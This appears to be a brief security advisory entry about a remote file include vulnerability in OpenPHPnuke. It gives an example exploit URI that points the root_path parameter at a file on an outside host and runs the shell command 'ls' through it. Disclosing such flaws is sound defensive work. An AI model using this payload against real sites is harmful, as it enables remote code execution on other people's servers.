• info
• discussion
• exploit
• solution
• references

OpenPHPnuke Remote File Include Vulnerability

This issue can be exploited through a web client.

The following example URI is available:

http://www.example.com/master.php?root_path=http://www.example2.com/cmd.gif?cmd=ls